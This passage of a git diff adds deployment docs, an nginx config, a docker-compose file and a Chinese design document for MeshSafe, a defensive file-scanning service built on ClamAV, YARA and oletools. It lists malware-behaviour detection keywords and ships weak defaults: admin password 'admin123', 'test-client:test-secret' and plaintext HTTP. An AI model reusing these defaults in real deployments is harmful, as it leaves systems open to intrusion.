登录（首次登录会强制改密码） +``` + +*** + +## 第五步：给对接方交付的东西 + +对 `MESHSAFE_API_CLIENTS` 里配的**每一个** client_id： + +| 交付物 | 内容 | 传递方式 | +| ------------------ | ------------------------- | -------------------------------- | +| **client_id** | 例如 `system-caigou` | 邮件/IM 明文 | +| **client_secret** | 对应的那个 secret | **加密传**（企业邮箱加密 / 内网加密聊天，不要明文发微信） | +| **MASTER_KEY** | **不要给！** 只在 MeshSafe 服务端用 | — | +| **API 地址** | `http://服务器IP:44380` | 明文 | +| **Python 签名示例** | 见下面"附件 A" | 明文 | + +> **给密钥时要提醒对方**：secret 泄露或人员离职，立即通知你吊销（你从 `MESHSAFE_API_CLIENTS` 里删掉那一对，重启 api 即生效）。 + +*** + +## 第六步：日常操作命令速查 + +```bash +# 日志 +docker compose logs -f api --tail 200 # 实时看 api 日志 +docker compose logs -f nginx --tail 200 # 看 nginx 访问日志 + +# 重启 +docker compose restart api # 改 .env 后必须重启 +docker compose restart nginx # 改 default.conf 后必须重启 + +# 更新 API 客户端密钥（改完 .env 或 compose 里的 MESHSAFE_API_CLIENTS） +docker compose restart api + +# 诊断打包（生成 tar.gz 给研发看） +docker compose exec api python -m app.diagnostic.dumper + +# 强制重建 admin 账号（忘了密码时用） +docker compose exec api python -c " +from app.db import SessionLocal +from app.models import ConsoleUser +db = SessionLocal() +db.query(ConsoleUser).filter_by(username='admin').delete() +db.commit() +db.close() +" +docker compose exec api python scripts/init_db.py + +# 全停 +docker compose down + +# 全停并删数据（⚠️ 生产不要乱执行！会清掉所有扫描记录和策略历史） +docker compose down -v +``` + +*** + +## 附件 A：给对接方的 Python 签名示例 + +对方拿到 client_id + client_secret 后，用下面这个代码发扫描请求： + +```python +import os, time, hashlib, hmac, base64 +import requests + +# ====== 对接方填写这三个值 ====== +CLIENT_ID = "你拿到的client_id" +CLIENT_SECRET = "你拿到的client_secret" +BASE_URL = "http://MeshSafe服务器IP:44380" +# =============================== + +def hkdf_sha256(secret: bytes, salt: str, info: str, length: int = 32) -> bytes: + """从 client_secret 派生请求签名密钥。不要改这行。""" + prk = hmac.new(salt.encode(), secret, hashlib.sha256).digest() + okm, block, counter = b"", b"", 1 + while len(okm) < length: + block = hmac.new(prk, block + info.encode() + bytes([counter]), hashlib.sha256).digest() + okm += block + counter += 1 + return okm[:length] + +def sign_request(method, path, query=None, body=b""): + ts = str(int(time.time())) + nonce = os.urandom(16).hex() + body_hash = hashlib.sha256(body).hexdigest() + qs = "&".join(f"{k}={v}" for k, v in sorted((query or {}).items())) + signing_string = "\n".join([method.upper(), path, qs, body_hash, ts, nonce, CLIENT_ID]) + signing_key = hkdf_sha256( + CLIENT_SECRET.encode(), + CLIENT_ID, + "meshsafe/api/v1/request-signing", + ) + sig = hmac.new(signing_key, signing_string.encode(), hashlib.sha256).hexdigest() + return { + "X-MS-Client-Id": CLIENT_ID, + "X-MS-Timestamp": ts, + "X-MS-Nonce": nonce, + "X-MS-Body-SHA256": body_hash, + "X-MS-Signature": sig, + } + +# ====== 实际使用 ====== +# 场景 1：扫一个文件 +with open("待扫描的文件.exe", "rb") as f: + body = f.read() + +headers = sign_request( + "POST", + "/api/v1/scans/submit", + query={"channel": "caiGou系统"}, # 可选，标识来源 + body=body, +) +r = requests.post(f"{BASE_URL}/api/v1/scans/submit?channel=caiGou系统", + headers=headers, data=body) +print(r.status_code, r.json()) +# 期望：200 + {"verdict": "malicious"/"pass", "score": ..., "action": ...} +``` + +*** + +## 附件 B：验签失败对照（对接方报错时查这里） + +| HTTP 状态 | detail 内容 | 原因 | +| ------- | ----------- | ---------------------------------------------- | +| 401 | 缺少必要的认证请求头 | 5 个 `X-MS-*` 头少了哪个 | +| 401 | 认证失败 | client_id 写错了？secret 错了？我方 MASTER_KEY 换了没通知？ | +| 401 | 请求时间戳超出允许偏差 | 你方服务器和 MeshSafe 服务器时间差超过 5 分钟了（NTP 对时） | +| 401 | 重复请求，已拒绝 | 同一个 nonce 用了两次（每次必须生成新 nonce） | +| 429 | 请求过于频繁 | 你方调用超过 120 次/分钟/客户端。降速或让我方调大限流 | \ No newline at end of file diff --git a/deploy/nginx/default.conf b/deploy/nginx/default.conf new file mode 100644 index 0000000..2cd4bd1 --- /dev/null +++ b/deploy/nginx/default.conf @@ -0,0 +1,62 @@ +# ============================================================================= +# MeshSafe Nginx 反向代理（内网 HTTP 明文） +# ============================================================================= +# +# 外部端口：44380（compose 映射 44380:80） +# 上游：api:8443（docker 网络内服务名） +# 无 TLS —— 光闸内网场景，外层防护靠光闸本身 +# +# 访问路径： +# http://<内网服务器IP>:44380/console/login → 控制台 +# http://<内网服务器IP>:44380/api/v1/scans → 扫描 API +# http://<内网服务器IP>:44380/api/v1/health → 健康检查 +# ============================================================================= + +server { + listen 80; + server_name _; + + # ---- 根路径 → 自动跳转到控制台登录页（保留原始 host + port）---- + location = / { + return 302 $scheme://$http_host/console/login; + } + + # 光闸可能传大文件（ISO 镜像 / 大压缩包） + client_max_body_size 500M; + client_body_timeout 600s; + client_header_timeout 60s; + send_timeout 600s; + + # ---- 控制台 ---- + location /console/ { + proxy_pass http://api:8443; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_read_timeout 300s; + } + + # ---- 扫描 API ---- + location /api/ { + proxy_pass http://api:8443; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_read_timeout 300s; + proxy_send_timeout 300s; + proxy_request_buffering off; # 大文件流式转发，不在 Nginx 缓冲 + } + + # ---- 健康检查（关 access_log 减少日志噪音）---- + location = /health { + proxy_pass http://api:8443/api/v1/health; + access_log off; + } + + # ---- 静态资源（logo、CSS 等）---- + location /static/ { + proxy_pass http://api:8443/static/; + expires 7d; + access_log off; + } +} diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..31dc3e4 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,157 @@ +# ============================================================================= +# MeshSafe 单机部署（内网光闸摆渡场景） +# ============================================================================= +# +# 启动顺序： +# 1) 准备 .env（cp .env.example .env 并填 MESHSAFE_MASTER_KEY） +# 2) 准备数据目录（mkdir -p data/{postgres,redis,clamav,logs,temp}） +# 3) docker compose up -d postgres redis # 先起基础设施 +# 4) docker compose up -d clamav # ClamAV（如首次启动尝试 freshclam 拉签名库） +# 5) bash scripts/import_clamav_db.sh clamav-db-*.tar.gz # 光闸摆渡导入签名库（可选） +# 6) docker compose up -d --build api # 起主服务 +# 7) docker compose exec api python scripts/init_db.py # 建表 + admin + 初始策略 +# 8) docker compose up -d nginx # 最后起 Nginx +# +# 外部访问：http://<内网服务器IP>:44380/console/login +# ============================================================================= + +services: + # ---------- PostgreSQL ---------- + postgres: + image: postgres:16-alpine + container_name: meshsafe-postgres + restart: unless-stopped + networks: [meshsafe_net] + environment: + - TZ=Asia/Shanghai + - POSTGRES_DB=meshsafe + - POSTGRES_USER=meshsafe + - POSTGRES_PASSWORD=${MESHSAFE_DB_PASSWORD:-meshsafe} + volumes: + - ./data/postgres:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U meshsafe -d meshsafe"] + interval: 10s + timeout: 3s + retries: 5 + + # ---------- Redis ---------- + redis: + image: redis:7-alpine + container_name: meshsafe-redis + restart: unless-stopped + networks: [meshsafe_net] + environment: + - TZ=Asia/Shanghai + command: ["redis-server", "--maxmemory", "128mb", "--maxmemory-policy", "allkeys-lru"] + volumes: + - ./data/redis:/data + healthcheck: + test: ["CMD", "redis-cli", "ping"] + interval: 10s + timeout: 3s + retries: 5 + + # ---------- ClamAV ---------- + # 生产：签名库通过光闸离线同步 + # 外网 → bash scripts/sync_clamav_db.sh 生成 clamav-db-*.tar.gz + # 光闸摆渡 → bash scripts/import_clamav_db.sh clamav-db-*.tar.gz（放 ./data/clamav 下） + # 首次启动脚本（scripts/init_clamav.sh）：如 ./data/clamav 为空则尝试 freshclam + clamav: + image: clamav/clamav:latest + container_name: meshsafe-clamav + restart: unless-stopped + networks: [meshsafe_net] + environment: + - TZ=Asia/Shanghai + volumes: + - ./data/clamav:/var/lib/clamav + - ./scripts/init_clamav.sh:/init_clamav.sh:ro + - ./data/clamav/clamd.conf:/etc/clamav/clamd.conf:ro + entrypoint: ["/init_clamav.sh"] + healthcheck: + test: ["CMD-SHELL", "echo PING | nc -w 2 localhost 3310 || exit 1"] + interval: 60s + timeout: 5s + start_period: 180s + retries: 5 + + # ---------- API 主服务 ---------- + api: + build: + context: . + dockerfile: Dockerfile + image: meshsafe:latest + container_name: meshsafe-api + restart: unless-stopped + networks: [meshsafe_net] + depends_on: + postgres: + condition: service_healthy + redis: + condition: service_healthy + clamav: + condition: service_started + environment: + - TZ=Asia/Shanghai + - MESHSAFE_ENV=prod + - MESHSAFE_HOST=0.0.0.0 + - MESHSAFE_PORT=8443 + - MESHSAFE_LOG_LEVEL=INFO + - MESHSAFE_DB_URL=postgresql+psycopg2://meshsafe:${MESHSAFE_DB_PASSWORD:-meshsafe}@postgres:5432/meshsafe + - MESHSAFE_MASTER_KEY=${MESHSAFE_MASTER_KEY:?MASTER_KEY_REQUIRED} + - MESHSAFE_ADMIN_PASSWORD=${MESHSAFE_ADMIN_PASSWORD:-admin123} + - MESHSAFE_POLICY_FILE=/app/config/policy.yaml + - MESHSAFE_CLAMAV_HOST=clamav + # API 调用方白名单：client_id:client_secret,client_id2:client_secret2 + # ⚠️ 生产环境必须替换为真实密钥，切勿把生产密钥提交到仓库 + - MESHSAFE_API_CLIENTS=${MESHSAFE_API_CLIENTS:-test-client:test-secret} + - MESHSAFE_CLAMAV_PORT=3310 + - MESHSAFE_REDIS_URL=redis://redis:6379/0 + - MESHSAFE_WORKERS=2 + - MESHSAFE_RULES_DIR=/app/rules + # uvicorn / DB 连接池（并发优化） + - UVICORN_WORKERS=${UVICORN_WORKERS:-8} + - DB_POOL_SIZE=${DB_POOL_SIZE:-30} + - DB_MAX_OVERFLOW=${DB_MAX_OVERFLOW:-50} + volumes: + - ./data/logs:/var/log/meshsafe + - ./data/temp:/tmp/meshsafe + - ./rules:/app/rules:ro + - ./config/policy.yaml:/app/config/policy.yaml:ro + - ./config/diagnostics.yaml:/app/config/diagnostics.yaml:ro + - ./data/clamav:/var/lib/clamav # 共享签名库目录（api 可写入上传的 .cvd 文件，clamd 自动热加载） + - /var/run/docker.sock:/var/run/docker.sock:ro # 诊断套件只读访问 Docker（可选；没有也能降级） + - ./data/diagnostics:/app/data/diagnostics # 诊断套件持久化（规则历史 + 日志快照） + group_add: + - "999" # docker.sock 的 GID，让 api 容器能读 + healthcheck: + test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:8443/api/v1/health', timeout=3).read()"] + interval: 30s + timeout: 5s + start_period: 15s + retries: 3 + + # ---------- Nginx（反向代理，内网 HTTP 明文）---------- + # 外部端口 44380 → 内部 80 → api:8443 + # 无 TLS，外层防护靠光闸 + nginx: + image: nginx:1.27-alpine + container_name: meshsafe-nginx + restart: unless-stopped + networks: [meshsafe_net] + environment: + - TZ=Asia/Shanghai + depends_on: + api: + condition: service_healthy + ports: + - "0.0.0.0:44380:80" + volumes: + - ./deploy/nginx/default.conf:/etc/nginx/conf.d/default.conf:ro + +# ---------- 独立 bridge 网络 ---------- +# 容器间走服务名通信，IP 由 Docker 自动分配，无需固定网段 +networks: + meshsafe_net: + driver: bridge diff --git a/docs/00-总体方案.md b/docs/00-总体方案.md new file mode 100644 index 0000000..0ef9f8f --- /dev/null +++ b/docs/00-总体方案.md @@ -0,0 +1,1679 @@ +# MeshSafe 文件安全检测服务 · 总体方案 + +| 项目 | 内容 | +| ---- | ------------------- | +| 系统名称 | MeshSafe 文件安全检测服务 | +| 版本 | v1.0（方案稿） | +| 文档状态 | 待评审 | +| 适用场景 | 光闸内外网文件摆渡场景下的文件安全检测 | +| 合规要求 | 满足网络安全等级保护三级相关控制项 | + +*** + +## 目录 + +1. [背景与目标](#1-背景与目标) +2. [范围界定](#2-范围界定) +3. [总体架构](#3-总体架构) +4. [检测能力设计](#4-检测能力设计) +5. [安全设计](#5-安全设计) +6. [接口设计概要](#6-接口设计概要) +7. [策略与裁决模型](#7-策略与裁决模型) +8. [部署架构](#8-部署架构) +9. [在线调试台与文档体系](#9-在线调试台与文档体系) +10. [实施路线](#10-实施路线) +11. [风险与应对](#11-风险与应对) +12. [长期演进预研（非本期实施内容）](#12-长期演进预研非本期实施内容) +13. [待确认事项](#13-待确认事项) + +*** + +## 1. 背景与目标 + +### 1.1 现状 + +现有系统为一套基于光闸的内外网数据交换系统，核心能力是文件摆渡、解包与展示，并支持按预设文件格式限制上传。当前缺少针对被摆渡文件的独立安全检查能力，文件"能不能传"仅由格式白名单决定，无法回答"这个文件本身是否安全"。 + +### 1.2 目标 + +建设一个**独立部署、可被外部应用调用的专用检测服务**，对摆渡文件执行多层次安全检查，向调用方返回结构化的检测结论与处置建议。 + +核心目标： + +| 编号 | 目标 | +| -- | --------------------------------------- | +| G1 | 提供 RESTful 检测接口，外部应用（光闸摆渡系统）可调用并获得结构化结论 | +| G2 | 覆盖恶意性、可执行性、合规性三类风险判据 | +| G3 | 全组件私有化部署，运行期不依赖公网 | +| G4 | 满足等保三级相关控制项（身份鉴别、访问控制、安全审计、数据完整性与保密性等） | +| G5 | 检测引擎、签名规则、裁决策略均可独立升级，不与摆渡软件耦合 | +| G6 | 提供在线自测控制台，降低对接方联调成本 | + +### 1.3 方向定位：一期只做「外网 → 内网」 + +本服务一期聚焦**外网向内网传入**方向的检测，**内网向外网传出方向的内容审计暂不纳入**，列为待定项。 + +| 方向 | 一期范围 | 说明 | +| ----------- | ------ | -------------------------------- | +| **外网 → 内网** | ✅ 完整覆盖 | 核心风险是"外部文件伤到内网"，即恶意代码与可执行性风险 | +| 内网 → 外网 | ⏸ 待定 | 核心风险是"内部内容违规外泄"，属内容审计范畴，依赖业务场景建模 | + +**为什么一期不内做内容审计** + +外发方向的内容审计需要回答"这段内容是否允许离开内网"，其判定依据是**业务规则**——哪些案件材料涉密、哪些个人信息不得外传、哪些类型需审批。这些规则高度依赖具体业务场景与密级标准，在场景未明确前设计检测逻辑，产出大概率不可用。 + +相比之下，内入方向的判定依据是**技术事实**（这个文件是否有害），与业务规则耦合度低，可以立即工程化。 + +**架构上为后续预留**：内容审计所需的"文本抽取 → 分类 → 规则裁决"链路，与本方案 L0 文本准备层、策略引擎的形态完全一致。届时只需新增 L-S 语义层与内容规则集，不需重构架构。 + +### 1.4 非目标（明确不做） + +| 不做项 | 原因 | +| ---------------- | ------------------------------------- | +| 内容清洗 / 文件改写 | 本服务只做"判定"，不做"加工"。原文件仍由摆渡系统处置 | +| 解包后内容对外输出 | 用户已明确不返回解包内容，仅返回检测结论 | +| 用户 / 权限 / 文档管理系统 | 独立成品的检测服务，不做 OA 能力 | +| 动态沙箱（P4 一期不实现） | 资源开销大、对光闸场景收益有限，架构预留 | +| **内网外发内容审计** | 一期聚焦外网→内网方向；外发方向依赖业务密级规则，场景待定（见 §1.3） | +| 内容敏感信息识别 | 与恶意代码检测属不同问题域，一期不做 | + +*** + +## 2. 范围界定 + +### 2.1 风险判据分类 + +光闸场景下，"外网传入的文件是否安全"实际包含三类相互独立的判据。原方案仅覆盖第一类，这是需要补齐的核心缺口。 + +| 判据 | 关注点 | 典型风险 | 主要覆盖层 | +| -------- | ---------- | ---------------------- | ------------------ | +| **恶意性** | 会不会伤到内网 | 病毒、木马、勒索、挖矿 | L1 ClamAV、L2B YARA | +| **可执行性** | 传进去会不会自动运行 | VBA 宏、DDE、双扩展名、内嵌可执行对象 | L0 结构层、L2 文档深度 | +| **合规性** | 是不是不允许传的东西 | 类型不符、超大文件、加密压缩包、路径穿越 | L0 结构层、全局策略 | + +> **关键结论**：可执行性判据在光闸场景中发生频率最高。一个带宏的 `.docx` 在 ClamAV 判定为"干净"，但在内网被双击打开时宏即刻执行。因此本方案将 L2 文档深度检测与全局格式策略作为重点，而非动态沙箱。 + +### 2.1.1 方向差异带来的重点偏移 + +一期只做外网→内网，因此三类判据的权重与内网外发方向不同： + +| 判据 | 外网→内网（一期） | 内网→外网（待定） | +| ---- | ---------------- | ----------------- | +| 恶意性 | **核心**，权重最高 | 次要 | +| 可执行性 | **核心**，权重最高 | 次要 | +| 合规性 | 次要（类型/大小/密级约束较弱） | **核心**（涉及密级与外传审批） | +| 内容语义 | 辅助（识别伪装与诱导） | **核心**（识别涉密与违规内容） | + +这解释了为什么一期的能力重心放在**恶意性 + 可执行性**上，以及为什么大模型在内入方向的定位是"识别伪装与诱导"而非"判定涉密"。 + +### 2.2 支持的输入格式 + +| 类别 | 格式 | +| ------------- | --------------------------------------------------------------------------------------- | +| Office 文档 | doc / docx / docm / xls / xlsx / xlsm / ppt / pptx / pptm / rtf / odt / ods / odp | +| PDF | pdf | +| 归档 | zip / rar / 7z / tar / gz / bz2 / xz / cab / iso / jar / apk | +| 图像 | jpg / jpeg / png / gif / bmp | +| Windows 可执行 | exe / dll / msi / scr / com / cpl / jar / apk | +| **Linux 可执行** | **.elf / .so / .desktop / .appimage / .deb / .rpm / .run / .bin / .snap / .flatpak** | +| 脚本 | bat / cmd / ps1 / vbs / vbe / js / jse / hta / wsf / **sh / bash / zsh / py / pl / rb** | +| 文本 | txt / csv / json / xml / html / log | + +### 2.3 单文件与批量限制 + +| 约束 | 默认值 | 配置项 | +| -------- | ------- | ------------------------------- | +| 单文件大小上限 | 50 MB | `policy.global.max_file_size` | +| 同步模式处理上限 | 50 MB | `policy.global.sync_max_size` | +| 上传硬上限 | 2048 MB | `MESHSAFE_MAX_UPLOAD_MB` | +| 解包深度上限 | 5 层 | `MESHSAFE_MAX_EXTRACT_DEPTH` | +| 解包总量上限 | 4096 MB | `MESHSAFE_MAX_EXTRACT_TOTAL_MB` | +| 压缩比上限 | 100:1 | `MESHSAFE_MAX_EXTRACT_RATIO` | + +*** + +## 3. 总体架构 + +### 3.1 分层视图 + +``` +┌──────────────────────────────────────────────────────────────┐ +│ 接入层 API 网关 · mTLS/Token 认证 · 限流 · 请求/响应签名 │ +├──────────────────────────────────────────────────────────────┤ +│ 接收层 文件接收 · 类型识别 · 递归解包 · 哈希计算 │ +├──────────────────────────────────────────────────────────────┤ +│ 检测层 L0 结构 │ L1 ClamAV │ L2 文档 │ L2B YARA/二进制 │ +├──────────────────────────────────────────────────────────────┤ +│ 裁决层 策略引擎 · 风险评分 · 处置动作映射 │ +├──────────────────────────────────────────────────────────────┤ +│ 留存层 结论存储 · 审计日志（哈希链）· 报告生成 │ +└──────────────────────────────────────────────────────────────┘ +``` + +### 3.2 关键架构决策 + +#### 决策 1：独立服务，不嵌入摆渡软件 + +**理由**：摆渡软件负责数据搬运（数据平面），检测服务负责安全判定（控制平面）。若耦合，升级检测引擎就必须重新发布摆渡软件——在政务/法院内网环境下，这是不可接受的发布风险。 + +**后果**：需要设计稳定的接口契约，接口版本必须严格管理（见 §6.6）。 + +#### 决策 2：检测引擎作为独立进程组 + +ClamAV 守护进程、YARA 规则库、文档解析库在容器内独立运行或独立容器化。好处： + +* 引擎崩溃不影响 API 服务的可用性（引擎异常被捕获并降级为"引擎不可用"信号） +* 引擎可独立升级（ClamAV 签名库每日更新不影响应用镜像） +* 资源可独立限制（clamd 内存占用大，需单独限制） + +#### 决策 3：同步与异步双模式 + +| 模式 | 触发条件 | 行为 | +| -- | -------------------------- | ----------------------- | +| 同步 | 文件 ≤ `sync_max_size` 且不需沙箱 | 请求内完成检测并直接返回结论 | +| 异步 | 文件超限或命中强制沙箱规则 | 返回 `task_id`，调用方轮询或等待回调 | + +**理由**：同步模式延迟低（摆渡业务最常用）；异步模式避免 HTTP 长连接超时给网关造成压力，也让未来接入沙箱时无需改动接口。 + +#### 决策 4：检测在隔离区完成，单向数据流 + +``` +摆渡系统 ──── 文件内容 ────▶ 检测服务 ──── 检测结论 ────▶ 摆渡系统 + │ + └── 绝不主动连外网 +``` + +检测服务不修改、不回写被检文件。病毒库与规则库通过**单向导入**方式更新（见 §8.3）。 + +#### 决策 5：全局单策略 + +按用户确认，本期采用**全局单策略**，不按业务通道区分。策略引擎在实现上保留通道扩展位（`channel` 字段贯穿全链路），后续扩展无需重构。 + +*** + +## 4. 检测能力设计 + +### 4.1 五层流水线总览 + +| 层 | 引擎 | 检查对象 | 关键信号 | 典型时延 | +| ------- | --------------------- | ----------------- | ----------------------------------------------- | ---- | +| **L0** | structure / extractor | 全部文件 | 扩展名伪装、双扩展名、危险可执行类型、zip bomb、路径穿越、嵌套过深 | 毫秒 | +| **L0** | link / shortcut | LNK 等 | 目标指向可执行体或远程路径 | 毫秒 | +| **L1** | ClamAV | 全部文件 | 已知木马 / 勒索 / 挖矿签名命中、启发式检测 | 秒 | +| **L2** | oletools / PDF 解析 | Office、PDF、RTF、脚本 | VBA 宏、DDE/DDEAUTO、嵌入对象、PDF JavaScript、外部链接、脚本混淆 | 秒 | +| **L2C** | links / qrcode | 文档与图片 | 外部 URL、二维码内容、可疑域名 | 秒 | +| **L2B** | YARA / pefile | PE、脚本、内存马 | 家族规则命中、危险能力组合、壳与免杀、签名异常 | 秒 | +| **L3** | 沙箱（长期可选项） | 可执行文件 | 释放文件、持久化、外联 C2 | 分钟 | + +> **场景定位**：本服务的文件最终由**人工在内网终端打开**，自动化处理极少。这一前提决定了能力重心——所有「打开即执行」的载体必须零容忍拦截（见 §4.8）。 + +### 4.2 L0 结构与完整性层 + +这一层最快、最廉价，却能挡掉大量"人工伪装"类攻击，是性价比最高的一层。 + +#### 4.2.1 真实类型识别 + +* 双引擎识别：`libmagic`（python-magic）+ 内置魔数表作为兜底 +* **不信任扩展名**，一律以内容判定真实类型 +* OOXML 容器（docx/xlsx/pptx）通过检查内部部件名区分，避免被误判为普通 zip + +#### 4.2.2 伪装检测规则 + +| 规则名 | 触发条件 | 默认严重度 | +| ------------------------------ | --------------------------- | --------------- | +| `ExtensionMismatch` | 声明扩展名与真实类型不相容 | HIGH | +| `DoubleExtension` | 文件名含两个以上扩展名，且前缀为危险类型 | HIGH | +| `DangerousExecutableExtension` | 顶层文件为 exe/scr/dll/com/pif 等 | CRITICAL / HIGH | +| `ArchiveContainsExecutable` | 归档内含可执行成员 | HIGH | +| `ArchiveBombSuspect` | 压缩比超过阈值 | HIGH | +| `ArchiveTooLarge` | 解压总量超限 | HIGH | +| `PathTraversal` | 归档内含路径穿越条目 | CRITICAL | +| `ArchiveTooManyMembers` | 归档成员数异常（>10000） | MEDIUM | + +#### 4.2.3 递归安全解包 + +**这是最容易被遗漏、也是最关键的一环。** 只扫描外层压缩包是最常见的绕过手法。 + +安全约束（全部强制执行）： + +| 约束 | 行为 | +| ----- | ------------------------------------ | +| 解包深度 | 超过 `max_extract_depth` 停止并记录信号 | +| 解压总量 | 累计超过 `max_extract_total_mb` 停止 | +| 单成员大小 | 超过单文件上限则跳过该成员 | +| 压缩比 | 单成员压缩比超阈值则跳过并记录 `ArchiveBombBlocked` | +| 路径穿越 | 拦截含 `..`、绝对路径、盘符的条目 | +| 符号链接 | tar 中的 symlink/hardlink 一律拦截 | +| 文件名 | 解包后文件名重写为安全形式，原始名保留在逻辑路径中供追溯 | + +解包出的文件**自动进入待检测队列**，形成递归检测。 + +#### 4.2.4 加密文件识别 + +* Office 加密文档 → `PdfEncrypted` / 加密标记信号 +* 加密压缩包 → 记录为不可静态分析 + +按策略，加密文件默认**拒绝**（无法确认安全），除非策略显式放开。 + +### 4.3 L1 ClamAV 层 + +#### 4.3.1 部署方式 + +使用 `clamd` 常驻守护进程（TCP 或 Unix Socket），而非 `clamdscan` 一次性调用。理由：签名库加载到内存需数秒至数十秒，常驻模式可支撑并发扫描。 + +#### 4.3.2 离线签名库更新机制 + +这是内网部署最容易失效的环节，必须做成自动化流程： + +``` +外网侧签名库同步机 + │ 每日定时执行 freshclam，拉取官方 CVD + ▼ +本地私有镜像（cvdupdate 模式 / freshclam 私有镜像模式） + │ 通过单向导入介质（摆渡光闸 / 刻录介质）传入内网 + ▼ +内网签名库分发节点 + │ 内网节点增量同步 + ▼ +clamd 容器（签名库版本记入扫描结果 meta） +``` + +**要求**：签名库版本号与更新时间必须包含在检测结果中，作为检测有效性的举证材料。 + +#### 4.3.3 命中强度分级 + +ClamAV 2025 起区分三类命中强度，建议在策略中区分对待： + +| 类型 | 含义 | 本方案处置 | +| -------------------- | ------------- | ---------------- | +| Strong Indicator | 传统签名命中，扫描立即中止 | 视为确凿恶意 | +| Potentially Unwanted | 可疑软件，扫描结束时告警 | 视签名关键词判定为 MEDIUM | +| Weak Indicator | 低置信度命中 | 降权处理 | + +### 4.4 L2 文档深度检测层 + +**本方案的重点层**，直接对应光闸场景最高频的实际风险。 + +| 格式 | 工具 | 检测内容 | +| ---------------------- | ------------------ | ------------------------------------------------------ | +| doc / docm / xls / ppt | `oletools.olevba` | VBA 宏提取与代码分析 | +| 同上 | `oletools.mraptor` | 宏的整体启发式判定（AutoExec + 可疑关键词 + 编码字符串） | +| 同上 | `oletools.msodde` | DDE / DDEAUTO 自动执行字段 | +| 同上 | `oletools.oleobj` | 内嵌 OLE 对象，识别内嵌可执行体 | +| docx / xlsx / pptx | 自研 OOXML 解析 | 外部链接部件、嵌入对象、外部 URI、附加模板、DDEAUTO、文档变量 | +| pdf | `pypdf` | JavaScript 动作、LaunchAction、OpenAction、外部 URI、内嵌文件、加密状态 | +| rtf | `oletools.rtfobj` | OLE 嵌入对象 | +| ps1 / bat / vbs / js | 正则特征集 | 编码命令、Base64 解码执行、下载器、隐藏窗口、关闭防护、勒索前置行为 | + +#### 4.4.1 VBA 宏判定分级 + +| 条件 | 规则名 | 严重度 | 默认权重 | +| ---------------------------------- | -------------------- | -------- | ---- | +| 自动执行入口 + 调用系统命令/外联 | `VBAAutoExecShell` | CRITICAL | 80 | +| 调用 Shell / CreateObject | `VBAShellInvocation` | HIGH | 55 | +| 含自动执行入口（AutoOpen / Workbook_Open） | `VBAAutoExec` | HIGH | 45 | +| 含外部链接 | `VBAExternalLink` | MEDIUM | 25 | +| 含疑似编码/混淆长串 | `VBAEncodedString` | MEDIUM | 20 | +| 仅含宏，无明显恶意特征 | `VBAMacroPresent` | LOW | 15 | + +#### 4.4.2 规则覆盖机制 + +关键规则在策略文件中配置**强制处置**，不依赖评分累加： + +```yaml +rule_overrides: + MRaptorAutoExecSuspicious: + action: reject + reason: "文档宏具备自动执行且包含可疑行为，按策略直接拒绝" + DDEAutoExecution: + action: reject + reason: "检测到 DDE/DDEAUTO 自动执行字段，按策略直接拒绝" +``` + +*** + +### 4.5 L2B YARA 与二进制分析层 + +| 组件 | 用途 | +| -------- | ------------------------------- | +| YARA | 通用规则库 + 环境专属规则（如针对内部文书模板名的钓鱼文件） | +| pefile | PE 节区熵值、导入表分析、签名目录检查、编译时间戳 | +| capa（可选） | 可执行文件能力识别（持久化、注入、加密、HTTP 通信） | + +规则严重度依据规则名与标签自动判定： + +| 标签 / 关键词 | 严重度 | 权重 | +| --------------------------------------------------------- | -------- | -- | +| critical / malware / ransomware / backdoor / c2 / exploit | CRITICAL | 85 | +| high / trojan / dropper / obfusc / shellcode | HIGH | 60 | +| medium / suspicious / pua / packer | MEDIUM | 30 | +| 其他 | LOW | 10 | + +**规则库维护要求**：规则库需版本管理与定期回归测试集，否则半年后必然出现大量误报或漏报。 + +### 4.6 L3 动态沙箱层（长期可选项，一期不实现） + +#### 4.6.1 一期不实现的理由 + +1. **环境不匹配**：CAPE / DRAKVUF 依赖 Windows 客体与裸金属虚拟化（Intel VT-x + EPT），与内网国产化终端环境不匹配 +2. **资源开销**：典型配置 4C8G 起，单样本运行 3\~5 分钟，全量沙箱在吞吐上不可行 +3. **场景收益有限**：本场景以文档为主，静态分析对文档类样本覆盖度已较高；沙箱真正适用面窄（仅加壳二进制、镜像类） +4. **投入产出失衡**：一套沙箱环境的投入 ≈ 整个检测服务的开发投入 + +#### 4.6.2 保留的接口语义 + +异步模式与 `sandbox_required_extensions` 配置项在策略中保留，未来接入沙箱时无需改动接口与策略结构。 + +| 项目 | 设计 | +| ---- | --------------------------------------------- | +| 触发条件 | 策略命中 `sandbox_required_extensions`（一期不生效，仅占位） | +| 替代措施 | 对高危解析路径（字体、图像、压缩流、复合文档）增加结构完整性校验与畸形构造检测 | +| 接口影响 | 无。异步模式已预留 `task_id` 语义 | + +### 4.7 引擎降级与失败处理 + +任一引擎不可用（进程崩溃、连接超时、库加载失败）时： + +1. 记录为"引擎不可用"信号，**不中断整个扫描** +2. 由策略的 `engine_failure_mode` 决定整体处置 +3. 生产环境配置为 `fail_closed`（拒绝），符合等保"安全优先"原则 + +### 4.8 「打开即执行」载体零容忍（核心设计） + +#### 4.8.1 为什么这是核心 + +本场景的关键前提是：**文件最终由人工在内网终端打开，自动化处理极少**。因此"文件打开即执行"的所有载体构成最高风险敞口——这类攻击不需要用户任何操作，一次双击即完成入侵。 + +传统杀毒以"是否为已知恶意样本"为判据，但在本场景下判据应改为"**是否存在打开即执行的载体**"。 + +#### 4.8.2 目标终端与威胁模型 + +本方案一期的目标终端是 **麒麟桌面/UOS（x86_64）+ WPS Office**。这是纯 Linux 桌面环境，与之前方案隐含的 Windows 兼容路线有本质差异——部分 Windows 专属载体在内网终端上不适用（如 LNK 快捷方式），同时存在 Linux 专属威胁载体（如 ELF、.desktop）。 + +**纵深防御原则**：即使内网是 Linux，Windows 威胁仍保持检测——因为文件可能通过其他路径最终到达 Windows 机器（运维人员的 Windows 工作站、外接 Windows 设备等）。但威胁等级按内网终端环境加权。 + +#### 4.8.3 